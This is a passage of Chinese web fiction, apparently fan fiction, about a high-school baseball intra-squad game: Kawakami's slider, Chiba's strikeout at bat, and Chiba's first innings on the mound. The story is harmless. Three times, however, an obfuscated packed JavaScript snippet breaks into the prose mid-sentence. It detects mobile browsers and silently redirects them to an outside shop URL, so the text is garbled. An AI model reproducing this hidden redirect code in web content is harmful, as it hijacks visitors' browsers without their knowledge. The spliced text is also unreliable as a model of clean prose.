但他现在并不是投手,没有站上投手丘,而是在外野作为守备守在投手身后,这个时候就要有为投手分担压力的自觉——这是守备的任务。 毕竟现在在场上投球的是川上,不是我啊。如果现在是我在投球的话,那一切就是守备欠我的了。千叶心想。 我一会也是要上场投球的! ……不过我现在就这么拼命,一会儿真的还有劲投球吗?千叶觉得自己现在有点大喘气。 救球并不怎么累,但是千钧一发的局势太紧张,让他心跳很快,再加上一通飞跑下来,千叶总感觉气有点不够喘。 好在川上可能因为他那么拼命地救球被感动到了,他的投球终于能给力地发挥出平常水平,准度拿出来了,面对下位打线,在又失掉一分后解决掉了剩下的打线。 攻守交换后,一年级重新轮到了中心打线,这一轮前园终于敲出了安打,站上了一垒,可惜没人把他送回本垒,攻守再次交换。 已经在打击准备区蹲好的千叶,无奈脱下了护具,重新回到休息区拿起了外野手套。 因为以前做过很多位置的守备,千叶的装备是很齐全的,基本上什么位置的手套都有,只是很久没有保养,他在不久前前知道有红白赛的时候就把所有的手套都拿出来护理了一遍。 看,现在就用得上了。千叶握着手套叹气。自己都这么没有时间休息,那一直投球的川上,岂不是会更累? 千叶看了川上一眼,川上脸上的表情却没有像他想的那样疲倦,虽然还是看上去挺紧张的…… 千叶站到了左外野的位置。 这一局,他们轮到了前辈的上位打线。 因为上一局千叶优秀的守备表现,这一局前辈们都默契地没有往他所在的左外野方向击球。 所以千叶提了半天精神,只能看着一颗颗球飞来飞去—— 啊,球来了! 哦,不是我的。 好无聊啊,大家都往中外野和右外野打啊…… 大概就是这样。 半天没有一个球过来,让千叶十分无聊,正好身上的衣服刚刚因为救球弄脏了,闲的没事干他都有点想扣泥巴。 这种情况,千叶就会十分容易走神,而站在投手丘上的川上显然更加不容易。 从这一轮开始前辈们也开始熟悉川上的球了。御幸看着投手丘上已经开始流汗的川上心里想。 现在是二出局,一三垒有人。 现在场上的是五棒增子透,上一轮刚刚把川上的球轰出全垒打。 “坏球——” “好球——” “好球——” 球数来到两好一坏,还差最后一个好球数。 本垒处的御幸侧头看了一眼打击位上的增子。 站得位置靠内,球棒握得很靠下,这是打定主意要轰一发大的。 现在川上的状态还好,体力也足够,这个时候正是该投那颗球的时候啊。 投手丘上的川上看到御幸对他露出一个令人不安的笑容。 所以,现在投这颗球,投到这里。御幸比出了一个之前从未出现的手势。 川上难以置信地看着蹲在本垒处的捕手,迟迟没有投出他想要的那一球。 滑球。 御幸向他要了他从没有在场上投过的滑球,还是在这么危急的情况下。 怎么会是滑球?现在? 川上下意识地想要摇头,可他看到了御幸坚定的眼神——就算你这么坚定地要我投,我也不敢投啊……会被打出去吧。川上这样想着果断地摇头。 御幸却没有换暗号,而是直接叫了暂停,跑上了投手丘。 “为什么……”只是一个球而已,为什么要特意跑过来?而且一定要投吗?我的滑球控球还很不稳啊……无数地话碎碎念念一时让川上脑子有点宕机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014840|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他觉得自己的声音里都开始颤抖了。 川上看着停在自己面前的御幸,甚至能听见自己胸腔里心脏疯狂跳动的声音,震得耳膜嗡嗡的。 御幸面对脸色惨白的投手却很淡定,捕手手套挡住嘴角,他只是抬眼示意他朝着外野的方向看,勾起一抹狡黠又促狭的坏笑,然后对川上说了一句话:“如果是千叶的话,你猜他敢不敢投呢?哦,那家伙已经在外野打呵欠了呢。” 川上猛地一怔,顺着他的目光看向外野,果然看到了千叶百无聊赖地在偷偷打哈欠。 川上:“……” 因为没上场投球就在偷懒吗?这家伙要不要这么轻松啊! 心情复杂又不知道为什么怪憋屈的川上,忽然觉得自己不是很紧张了。 御幸蹲回本垒,而投手丘上的川上,深吸一口气。 “咻——”他把滑球投出来了! “乒——” “界外!” 第一次见川上滑球的增子前辈果然没有掌握好击球时机,但还是大力地将球拉打出去。 川上额头瞬间吓出了冷汗,然而下一秒,他额头上的冷汗冒得更厉害了。 刚刚的球质量不错,被打到只是运气而已啦,你这么害怕,他肯定会觉得你是运气好才投出来的。所以再来一个滑球,让他们脑海中形成印象,投到这里,投成坏球也没关系。 川上看到蹲在本垒处的御幸,手套再次放到好球带的边角,对他露出一个恐怖的笑容。 ‘如果是千叶的话,他一定敢投出来的。’川上又想起了御幸刚刚说的话。 ——这个意思不就是我不如他吗?虽然千叶很厉害,但被你一个捕手这么说,还是会不爽啊,而且这根本就是挑拨我们两个的关系吧,御幸! 川上憋着一口气,尽力把球投出来。 “砰——”他听到球投进手套里的声音。 “打者挥棒,好球——” 他终于顺利地解决了打者。 第五局没有失分。 千叶很惊讶,一三垒有人,又轮到了上一局被轰出全垒打的棒次,川上居然成功地把他投了下去,留下了一三垒的垒包。 “川上,你好厉害。”千叶在回到休息区看到川上时由衷地夸奖道。 川上面对他的夸奖,表情却很不怎么开心,甚至十分复杂,有点像便秘拉不出屎,胡乱点点头“嗯”了一声,就从他旁边离开了。 “欸……这是什么情况?”千叶摸不着头脑,刚刚他救球的时候不是还满怀感动地看着他吗?因为后来他没什么表现所以投手有意见了?拜托,是因为球没有往他这边来好吧,这不能怪他啊。 投手怎么这么麻烦!难道要这回我也要来一发全垒打才能哄好投手吗? 以己度人的千叶,此刻完全没有想到自己也是投手,自觉十分心累地穿好打击装备,拎着球棒就上了场。 “砰——” “好球!” “砰——” “好球!” “砰——” “好球!三振出局!” 被火速三振的千叶:“……” 21.红白赛(4) 千叶若无其事地拿着球棒下场,安详地仿佛什么都没有发生,仿佛他从来没上过场。 “你打击偷懒了吧?”蹲在打击区看到千叶被三振全过程的御幸毫不客气地大声嘲笑。 千叶瞬间就恼羞成怒了:“我可是投手!你怎么能指望投手在打击有什么表现!” “别为自己找借口了,”御幸微笑着挥挥手,“还是实力不够,我会给你报仇的。” 他一边说着一边走上打击区,十分潇洒地挥挥球棒,摆好打击姿势。 “梆——” 呦西,第一球就挥棒击中了球! “一垒正面接杀!出局!” 一垒的助教一边大声喊一边做出出局的手势。 御幸:“……” 御幸仿佛无事发生地走下场,场下的千叶捂着肚子哈哈大笑。 “呦~真是实力足够的人啊!第一棒就接杀出局!太厉害了,太有实力了!”千叶站在休息区最边上,一见御幸走过来就毫不客气地嘲讽。 “啰嗦!吵死了!”御幸把他推到里面去。 站在打击准备区目睹一切的川上:“……” 川上头也不回地走上打击区。 “下一个打击的是川上啊。”千叶回头看到站在打击区上举起球棒的川上,语气幽幽地道。 “喂,这是什么语气。”仓持勒住他的脖子,“瞧不起谁呢,刚刚被三振的人怎么还敢张嘴!” “我可什么都没说啊,”千叶无所谓道,“不过,川上很明显就是投手啊,他肯定都没练过打击吧。” “梆——” “欸!川上击中球了!球穿出去了!” 千叶推开仓持,手扶住休息区的栏杆朝场上看去,对面的二垒手前辈没有接到球,球在二游间落地又想往外野滚去,但二垒身后那个长得很帅的游击手前辈成功抓住了想要逃跑的球,想要传到一垒,但此时没有贪心的川上已经在一垒停住了——表情连自己都很震惊加后怕。 “川上!川上,上垒了!” “不是打出去了嘛,他怎么自己都那么惊讶!” 伴随着身边同伴惊喜的大叫和川上自己都一副不可思议的表情,千叶无比震惊:“……不是吧!” “噗!”御幸忍不住喷笑出声。 “哈!让你嚣张!”仓持叉腰大笑道。 可能因为投手都有所作为,将球打出去了,一年级的打线终于支愣起来,重新轮到上位打线,一棒二棒也将球击了出去,将垒包塞到了满垒。 只是…… “一垒接杀,出局!” 得分的大好局势,一年级们没有把握住,川上重新站在投手丘上。 “梆——” “梆——” 场上川上的球开始频繁被击中,内外野接球配合失误、漏球,没有听捕手指挥导致传球错误……配合不够默契的一年级问题似乎一下爆发了,看台上的ob们频繁叹气。 “投手投球开始不稳了。” “场上的守备也出现低级失误了,果然是因为上局没有得分打击到气势了吧。” “还是一年级,心态果然不行啊,失了三分才解决掉一个打者。” “也不全是投手的原因,已经二三年级打者已经轮换一遍了,打看过的球二三年级的老鸟自然得心应手,一年经验的差距啊,不是一年级的菜鸟能比的。” …… 第五局靠御幸配合一三垒抓到双杀结束,比分来到13:1。 如果正式比赛的话,现在已经结束了吧。千叶仰头瞥了眼记分牌。 而且现在继续也没有用,剩下的四局,难道还能指望这群打线都串联不起来的队友逆风翻盘?打满剩下的四局我们就能赢吗?当然不会了,我们可是虾兵蟹将啊,是菜鸟。 他听到一年级中有人在窃窃私语了。 身后传来一阵窸窸窣窣的私语。千叶侧过脸,瞥见几个一年级生耷拉着脑袋,棒球帽檐遮住了大半张脸,连站姿都有股蔫蔫的丧气。 这可不是什么好兆头。千叶撇了撇嘴。虽然他心里经常说风凉话,但大家如果都没信心的话就是另一回事了。如果身后的守备不想比赛继续的话,单凭投手自己是无法守住分差的。 而且……我该上场了吧。 千叶看向场上,果然不出他所料,片冈监督抬手示意,目光扫过替补席,声音不带一丝波澜地宣布:“换人。二三年级投手捕手到野手,全部轮换,比赛继续。 一年级,投手,千叶,捕手,小野。川上和御幸下去休息,野手想上场的自行组队。” “是!”所有人齐声回答。 千叶低头看了看自己的手掌,刚刚握着球棒打击,现在要握着棒球投球了。 不想分差继续变大了。即使是输,13:1也比20:1好看一点吧!别输的太难看!所以现在应该怎么办?说些什么才能让他的守备振作一点? ……啊,不对。 为什么我一个投手,居然还要想办法安慰身后的守备,这合理吗?川上当投手的时候我支援他,怎么现在我当投手了,反倒没有人支援我?为什么不管当野手还是当投手我都这么劳碌命。 千叶简直觉得自己命苦,一边命苦一边刚要迈出一步想要鼓励一下队友。 “哈!终于轮到本大爷登场了!”一道爽朗得近乎嚣张的声音突然从人群后方传到千叶耳朵里。 千叶回头,看到仓持扛着球棒大步流星地走出来,站到了他的身边。 仓持咧嘴大笑,眼角眉梢藏不住的兴奋,胳膊搂过千叶的肩膀:“等这么长时间我骨头都快生锈了!” 白州拍了拍身边川上的后背。川上刚才下场还低着头,被他一拍,人有点愣住地抬头看向他。白州眼底满是温和的鼓励,他对着川上笑了笑,转身走出人群,声音平静而有力:“我守右外野。” 小野快步走到千叶身边,郑重道:“千叶同学,你会投什么球?无论什么球我都会努力接住的!” 千叶怔怔地看着眼前的几人,又转头看向自己身后——刚才还死气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021585|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉沉的队友们,此刻正陆陆续续地走出队伍,看着他的目光满是坚定。 千叶忽然觉得刚刚队友们气压低没干劲都是自己的错觉,喃喃道:“你们倒是挺活跃嘛……” 前园拍了一下千叶的肩膀:“无论分差有多大,比赛没有结束就有翻盘的可能,后背就放心交给我们吧。” “是!”千叶有点感动地大声道。 正在他感动时,终于脱完捕手护具的御幸走过来,在他耳边偷偷笑道:“上了投手丘就不准再打哈欠了哦。” 感动一瞬间消失不见的千叶:“……” 打哈欠被发现了吗?他明明已经很偷偷摸摸了! …… 千叶踏上投手丘,感受到脚下的泥土松软。 今天的风很小,阳光明媚,是他最喜欢、觉得最舒服的天气。不是很冷也不是很热。 状态如何?守外野守了几局,刚刚也热身过,胳膊状态还算不错。虽然体力不太充沛,但就剩下几局了,球投下来没有压力。 啊,真是可惜,小野长得不是很帅啊,现在如果是个帅捕手给我接捕该多好啊!即使不是克里斯前辈,那御幸也行啊!呃,还是不了,小野虽然没有御幸长得好看,但人也没有御幸那么可恶,有得必有失,千叶一郎,你现在当了投手也不能太过挑挑拣拣,要记住你还是个见习投手啊,不是正式的…… 千叶仰头看着天空,忽然听到几声砸手套的声音。 千叶把头正回来,向本垒处看去,小胡子前辈已经走到打击区,正十分礼貌地跟监督打了招呼,然后跟捕手点点头,最后,他用球棒指着投球丘上的他大喊道:“小子!来吧!” 小野信任的目光正坚定地看着他,然后给他摆了一个外角直球。 不知道打者底细的时候外角直球确实是很好的试探打者的选择,但现在的打者是对方的四棒,大嗓门的黄毛小胡子前辈,对他来说并不是不熟悉的打者,他已经看过他好几个打席了。 千叶用镁粉包沾沾手指,在手套后将球慢慢转到四缝线的位置。 他不太想投外角直球,眼前这个前辈是第一球会出手,而且很擅长打直球,投外角直球的话很容易被他猜到,然后打出去。 但第一球就对小野摇头吗?……小野看起来不是很像那种心坚如铁的捕手啊,第一球就对他摇头,他的心态不会比他这个投手更快出毛病吧? 算了。千叶淡然地举起投球的手,胳膊向后。 虽然小胡子前辈是挥大棒的,但最差的结果大不了就是放他上垒嘛—— “忽——”球脱手而出。 “梆——!”球棒击中球的声音前所未有的响。 小野瞬间睁大双眼向远方看去——白色的小球下方,跟着右外野的白州和中外野的队友,他们一路狂奔,最后停在了那一堵墙的前面。 小胡子飞速向一垒冲去,又在途中放缓了脚步,一边大笑一边高举右手开始绕垒。 投手丘上的千叶正平静地看着那颗球越过了本垒墙,飞了出去。 22.红白赛(5) 本垒打。 千叶第一颗球就被轰出了本垒打,这是是谁都没有想到的事情。 小野立刻叫了暂停,朝着投手丘上的投手跑过来。 他一上来就道歉:“对不起,是我配球的问题……” 千叶手搭在眉毛上挡住阳光,眼睛向围栏网外眺望,语气是前所未有的淡定和疑惑:“本垒打是这么容易就能轰出来的吗?” “欸……”小野不知道千叶想说什么,局促地现在原地。 千叶继续望着围栏网外的空地继续自言自语:“刚才那一球不全是你的问题,刚刚我投球的时候确实没专心,但没想到这么容易就被打出去了。” 千叶转过头,小野意外地发现他脸上的表情居然很轻松,明明第一球就被轰出去,还这么淡定吗? “千叶,我不会再让你的球被轰出去的。”小野坚定道。 但那像刚刚那种配球可不行。千叶心想。 “好,我相信你。”千叶对小野点头道。 刚刚的话并不全是安慰小野。千叶很明白,他那一球投得并不是很甜,也预感到了这一球很可能被打出去,但被直接轰了出去…… 果然是我太自大太小看人了吧,什么自己的球肯定不会被打出本垒打……太托大了!毕竟是打线出名的棒球豪门,即使青道几年没打进甲子园,也不是一个刚上高中的菜鸟投手能够小看的。 千叶深吸一口气,看了眼已经上场的下一棒。 其实他的心里并非像表面表现的这么平静,但他并不会让不好的心态影响到下一次投球。 在他刚学会投球那段时间,跟他练习的打者可是他老爸,有段时间几乎他投出的每一颗球都会被轰出去,再怎么心态不好的选手被打出去的次数多了,也会变得坚强起来吧,而且如果他想退缩还会被老爸嘲笑。 啊,所以现在被打出去什么的…… 千叶这么一想,表示刚刚被轰出的本垒打都是毛毛雨。 五棒打者由增子前辈换成了之前没有上场的三年级的前辈。 或许是因为上一棒打得太轻松,千叶明显感觉到自己被这个前辈小看了。 从他松弛的站姿,到他的神态。千叶看这位前辈十分不顺眼—— 虽然我会暗戳戳看不上打者,但打者如果瞧不起我,那我就要生气了——大概就是这个意思。 于是觉得自己被小看了的千叶憋着一口气,看向小野的手套。 虽然你的球刚刚被打了出去,但发挥正常的话,应该不会那么容易被对方打线击中——小野谨慎地在大腿间摆出了暗号。 很好,外角直球,正面刚这个前辈,小野你很上道,我开始喜欢你了。 对小野表示满意的千叶缓缓举起左手,随后,他的左臂像鞭子一样抡出去。 “砰——” “好球!” “砰——” “好球!” “砰——” “好球!三振出局!” 小野额角冒出冷汗,心有余悸地看着自己手套里接住的球。 三颗直球。 他与千叶在上场前练习过,千叶控球没有很精准的球种例如滑球和变速球,其实他并没有能百分百接到的自信。基于对千叶直球准度的信任,加上这是千叶第一局上场,打席没有见过他的球,所以他才冒险给出了直球的暗号,想要凭借千叶的球速压制打者。 但千叶的这三颗球的犀利程度跟刚刚接捕的那些完全不是一个档次,即使是自己将手套放好了位置、千叶的控球也相当精准地投到了他想要的位置,沉重的球威还是给他一种球要飘出手套的错觉。 果然因为刚刚本垒打惹他生气了吧。球速也上来了,亏得他还能投得那么准啊。小野心想。 投手丘上的投手缓缓收起投球的姿势。 千叶抬起下巴,看着拿着球棒面无表情走下场的前辈,心里想着:叫你瞧不起我。 被他一直盯着的前辈依旧面无表情,一头雾水地歪了歪头。 千叶:“……” 啊,这个前辈不是瞧不起我,他好像就是个没什么表情的人…… 闹出乌龙的千叶表示没什么。 被误会是人生常有的事,误会别人比自己被误会要舒服多了。 “一出局!”千叶在投手丘上淡定地举起一根手指。 “做得好千叶!” “一出局!” 他听到同伴在大声回应他。 “刚被轰出本垒打就能投出更犀利的球,顺利解决掉下一个打者,还记得出声鼓励自己的队友,真是青道难得的大心脏投手。”看台上见到这一幕的ob忍不住跟另一个ob赞叹道。 另一个ob也点头回应:“千叶一郎,是叫这个名字吧?国中倒是不怎么出名,从来没听说过他。球速快,控球也准,投球挺厉害。” “你们结论下得也太早了,这才几个球,哪能看出厉害不厉害……”旁边的ob摇摇头。 下一个上场打击的前辈已经在打击区站定,做好了打击准备。 现在是一出局,无人上垒。打者看身材并不是力量型的打者。 小野再次比出暗号,还是外角直球。 千叶一挑眉。捕手对我很有信心嘛。 场下的御幸看到小野的配球也会心一笑。小野倒是很会哄千叶那家伙开心,这样瞧不起打者一般目中无人的配球他最喜欢了。 对小野配球相当满意的千叶利落地将球投了出去。 “咻——” “乒— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030376|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —”又是第一棒就出棒,很明显打者抓住打击的时机,但在击中球的一瞬间,打者明显变了脸色,手上赶紧使力勉强将球拉出去。 “界外!” 千叶有点不爽。一共上来三个前辈,两个都能打中他的球,他都有点怀疑自己的球是不是真的那么好打。 但均速145km/h+的球,怎么也算不上好打的程度吧,是配球被猜到了吗? 千叶看了眼打击区的前辈,他的表情不怎么紧张,但很已经开始严肃了,握着球棒的手也朝下挪了挪。 所以现在还要配直球吗?小野额头冒出冷汗,他瞥了一眼旁边的前辈,最后给千叶摆出了二缝线的暗号。 二缝线?千叶皱眉,他觉得他又不怎么喜欢小野了。 因为我刚刚的四缝线直球被击中了就不配四缝线了吗?你们捕手的信任还真脆弱啊。你觉得我的四缝线还解决不了这个前辈吗? 但千叶还是忍住了对小野摇头的冲动。 虽然现在把二缝线拿出来有点早,但小野的配球也没什么问题,反正这回打者肯定猜不到我会投什么球,不会被打出去。如果不投显得很不配合捕手,会让小野很难办,不好。 将脑海中的不情愿赶出去,千叶举起左臂,集中注意力将球投出去—— 打者第一次看到他的二缝线球,与四缝线同样的出球点,果然骗得他挥棒了。 打者对球在本垒前忽然向他胸口滑来的轨迹变化毫无准备,球棒直直地从拐弯的球的上方挥过,毫不意外地直接挥空。 “砰——” 小野忍住了将手套向外侧移动的冲动,球顺利地钻进捕手手套。 “好球!” 接到球的小野松了一口气。千叶二缝线的控球比四缝线差一点,他一直担心千叶失投自己会接不到,现在球稳稳落进手套,他才把心放回肚子里。 现在是两好球,无坏球。 小野比出暗号:接下来这一球还是投二缝线,直接解决他。 打定主意相信捕手的配球,千叶就不会容许自己在把精力用在挑毛病上,投球已经很累了,再去跟捕手抢配球任务那得死多少脑细胞啊—— “咻——” 打者出棒时意识到了这颗球会拐弯,但已经太迟了,白球已经到了他的眼前,他只能咬牙,想将球扫了出去。 ‘不好。’在球棒与球接触的那一瞬间,打者突然意识到了不对。 “梆——” 白色的小球没飞多远就“啪”的一声落地,砸起泥巴,直接投手前两三步远的地方停住。 千叶轻松向前几步,捡起球传给一垒的前园。 “Out !” “二出局!”千叶站在投手丘上竖起食指和小指两根手指。